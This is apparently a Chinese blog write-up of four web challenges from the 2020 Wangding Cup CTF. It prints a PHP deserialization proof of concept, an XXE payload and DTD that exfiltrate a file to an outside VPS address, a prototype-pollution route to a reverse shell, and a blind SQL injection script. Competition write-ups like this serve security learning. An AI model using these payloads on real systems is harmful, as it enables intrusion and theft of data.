2020网鼎杯Web复盘

2020网鼎杯Web复盘

摘要:本届网鼎杯复盘。

0x01写在前面

10号和学校的fjh1997师傅、L1ngFeng师傅还有Qfrost师傅一起参加了本届网鼎杯,差一道题晋级,遗憾的是这题的答案在比赛刚过一分钟就跑出来了。所以说实话比赛完大家心情都挺失落的,因此拖到现在复盘。现在缓过来了,看见BUUOJ上正好有三道题,那还是复盘一下吧。

0x02正文

AreUSerialz

  • 考点一:简单PHP反序列化
  • 考点二:php特性:php7.1以上对属性类型不敏感

进来直接给源码,为简单的php反序列化.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

protected $op;
protected $filename;
protected $content;

function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}

public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}

private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}

private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}

private function output($s) {
echo "[Result]: <br>";
echo $s;
}

function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}

}

function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}

if(isset($_GET{'str'})) {

$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}

}

很明显,属性为protected,反序列化后存在%00字符。因此需要绕过is_valid函数,

1
2
3
4
5
6
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
<?php
class FileHandler {

public $op;
public $filename;
public $content;

function __construct() {
$this->op = 2;
$this->filename = "php://filter/convert.base64-encode/resource=/web/html/flag.php";
$this->content = "Hello World!";
$this->process();
}

public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}

private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}

private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}

private function output($s) {
echo "[Result]: <br>";
echo $s;
}

function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}

}

function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}

$a = new FileHandler();
$b = serialize($a);
echo $b;
print("\n");
echo urlencode($b);

解法一:
is_valid函数只允许ascii编码32-125的字符。其实很好绕,直接序列化的时候将protected改为public就行了。
这里需要注意的是需要使用绝对路径,程序运行的绝对路径可以使用/proc/self/cmdline得到。

1
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:62:"php://filter/convert.base64-encode/resource=/web/html/flag.php";s:7:"content";s:12:"Hello World!";}

解法二:
队内imagin师傅的方法,通过构造不完整的反序列化字符串,提前执行__destruct函数,就可以直接使用相对路径来读取flag.php了。

1
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:62:"php://filter/convert.base64-encode/resource=/web/html/flag.php";s:7:"content";s:12:"Hello World!";

javafile

  • 考点:CVE-2014-3529

可以尝试跨目录下载,可以通过以下方式得到我们想要的目录信息。摘自imagin师傅 的博客。

proc 是个好东西,总结下经常会用到的文件:
1.maps 记录一些调用的扩展或者自定义 so 文件
2.environ 环境变量
3.comm 当前进程运行的程序
4.cmdline 程序运行的绝对路径
5.cpuset docker 环境可以看 machine ID
6.cgroup docker环境下全是 machine ID 不太常用

至于CVE-2014-3529可以参看这篇博客:Apache-Poi-XXE-Analysis
根据上面的tips,可以通过读取/proc/self/cmdline得到程序运行的绝对地址。

易得tomcat下的web.xml的文件路径为

1
/usr/local/tomcat/webapps/ROOT/WEB-INF/web.xml

直接读取:
​``` xml



DownloadServlet
cn.abc.servlet.DownloadServlet

<servlet-mapping>
    <servlet-name>DownloadServlet</servlet-name>
    <url-pattern>/DownloadServlet</url-pattern>
</servlet-mapping>

<servlet>
    <servlet-name>ListFileServlet</servlet-name>
    <servlet-class>cn.abc.servlet.ListFileServlet</servlet-class>
</servlet>

<servlet-mapping>
    <servlet-name>ListFileServlet</servlet-name>
    <url-pattern>/ListFileServlet</url-pattern>
</servlet-mapping>

<servlet>
    <servlet-name>UploadServlet</servlet-name>
    <servlet-class>cn.abc.servlet.UploadServlet</servlet-class>
</servlet>

<servlet-mapping>
    <servlet-name>UploadServlet</servlet-name>
    <url-pattern>/UploadServlet</url-pattern>
</servlet-mapping>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
得到三个类的路径,直接读取。审计发现标志性的Apache POI漏洞:
``` java
if(filename.startsWith("excel-") && "xlsx".equals(fileExtName)){
try
{
Workbook wb1 = WorkbookFactory.create(in);
Sheet sheet = wb1.getSheetAt(0);
System.out.println(sheet.getFirstRowNum());
}
catch(InvalidFormatException e)
{
System.err.println("poi-ooxml-3.10 has something wrong");
e.printStackTrace();
}
}
因此,构造一个以excel-xx名字的excel文件。在windows下创建一个新的excel文件,拖入vmware虚拟机中。
1
upzip ./excel-5.xlsx
解压文件,修改\[Content-Type\].xml文件,加入外部实体
1
2
3
4
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://174.1.78.70/1.dtd">
%remote;%int;%send;
]>
然后
1
zip -r excel-5.xlsx *
打包。 准备一台vps,在根目录下创建1.dtd文件,内容如下:
1
2
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://174.1.78.70:8888?p=%file;'>">
vps上监听,上传xlsx得flag。
1
2
3
4
5
6
7
GET /?p=flag{611528b5-ae6d-4660-a625-406a4b966f49} HTTP/1.1
Cache-Control: no-cache
Pragma: no-cache
User-Agent: Java/1.8.0_252
Host: 174.1.78.70:8888
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive
这边建议在linux环境下进行解压打包,我在windows下打出来的一模一样的文件无法带出flag。 ### **motes** - **考点:undefsave原型链污染**

得到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
var express = require('express');
var path = require('path');
const undefsafe = require('undefsafe');
const { exec } = require('child_process');


var app = express();
class Notes {
constructor() {
this.owner = "whoknows";
this.num = 0;
this.note_list = {};
}

write_note(author, raw_note) {
this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note};
}

get_note(id) {
var r = {}
undefsafe(r, id, undefsafe(this.note_list, id));
return r;
}

edit_note(id, author, raw) {
undefsafe(this.note_list, id + '.author', author);
undefsafe(this.note_list, id + '.raw_note', raw);
}

get_all_notes() {
return this.note_list;
}

remove_note(id) {
delete this.note_list[id];
}
}

var notes = new Notes();
notes.write_note("nobody", "this is nobody's first note");


app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'pug');

app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(express.static(path.join(__dirname, 'public')));


app.get('/', function(req, res, next) {
res.render('index', { title: 'Notebook' });
});

app.route('/add_note')
.get(function(req, res) {
res.render('mess', {message: 'please use POST to add a note'});
})
.post(function(req, res) {
let author = req.body.author;
let raw = req.body.raw;
if (author && raw) {
notes.write_note(author, raw);
res.render('mess', {message: "add note sucess"});
} else {
res.render('mess', {message: "did not add note"});
}
})

/* edit_note(id, author, raw) {
undefsafe(this.note_list, id + '.author', author);
undefsafe(this.note_list, id + '.raw_note', raw);
}*/
app.route('/edit_note')
.get(function(req, res) {
res.render('mess', {message: "please use POST to edit a note"});
})
.post(function(req, res) {
let id = req.body.id;
let author = req.body.author;
let enote = req.body.raw;
if (id && author && enote) {
notes.edit_note(id, author, enote);
res.render('mess', {message: "edit note sucess"});
} else {
res.render('mess', {message: "edit note failed"});
}
})

app.route('/delete_note')
.get(function(req, res) {
res.render('mess', {message: "please use POST to delete a note"});
})
.post(function(req, res) {
let id = req.body.id;
if (id) {
notes.remove_note(id);
res.render('mess', {message: "delete done"});
} else {
res.render('mess', {message: "delete failed"});
}
})

app.route('/notes')
.get(function(req, res) {
let q = req.query.q;
let a_note;
if (typeof(q) === "undefined") {
a_note = notes.get_all_notes();
} else {
a_note = notes.get_note(q);
}
res.render('note', {list: a_note});
})

app.route('/status')
.get(function(req, res) {
let commands = {
"script-1": "uptime",
"script-2": "free -m"
};
for (let index in commands) {
exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
if (err) {
return;
}
console.log(`stdout: ${stdout}`);
});
}
res.send('OK');
res.end();
})


app.use(function(req, res, next) {
res.status(404).send('Sorry cant find that!');
});


app.use(function(err, req, res, next) {
console.error(err.stack);
res.status(500).send('Something broke!');
});


const port = 8080;
app.listen(port, () => console.log(`Example app listening at http://localhost:${port}`))

比赛的时候看到node.js第一反应就是原型链污染,当时搜了下,发现undefsafe确实存在原型链污染的问题,参考这篇文章Prototype Pollution。 但当时时间不够了,有点手忙脚乱的,代码也没有审计完,事后看发现其实这题特别弱智。唉。
看到/status明显有一个命令执行,commands是一个对象,那么显然,直接污染object的proto就行了。
利用点在/edit_note上

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
app.route('/edit_note')
.get(function(req, res) {
res.render('mess', {message: "please use POST to edit a note"});
})
.post(function(req, res) {
let id = req.body.id;
let author = req.body.author;
let enote = req.body.raw;
if (id && author && enote) {
notes.edit_note(id, author, enote);
res.render('mess', {message: "edit note sucess"});
} else {
res.render('mess', {message: "edit note failed"});
}
})


edit_note(id, author, raw) {
undefsafe(this.note_list, id + '.author', author);
undefsafe(this.note_list, id + '.raw_note', raw);
}

这里post传参,id、author、raw都可控。notelist刚好是个对象,所以直接给id赋参proto.hn13、给author赋参一条反弹shell指令、raw随便赋值。

传参过去后,访问/status路由即可反弹shell。

trace

  • 考点一:时间+报错盲注
  • 考点二:无列名注入

差这题进决赛,可惜了。BUU没有复现,贴脚本吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import time
import requests
target = "http://xxx.com/register_do.php"
flag = ""
for i in range(1,43):
for j in range(44,128):
data = {'username':"0'^if(ascii(substr((select `2` from (select 1,2 union select * from flag)a limit 1,1),"+str(i)+",1))="+str(j)+",pow(9999,100) or sleep(3),pow(9999,100)),'1')#",
'password':"0"}
time1 = time.time()
r = requests.post(target,data=data)
time2 = time.time()
if time2 - time1 > 3:
flag += chr(j)
print flag
break

0x03 总结

事后复盘发现其实这次的web是很简单的,知识点以前都积累过,可惜时间太赶不然除了trace这道注入题没什么底感觉都可以做出来。唉,差一点入围可惜了。还是好好加油,为后面的比赛做准备吧。


评论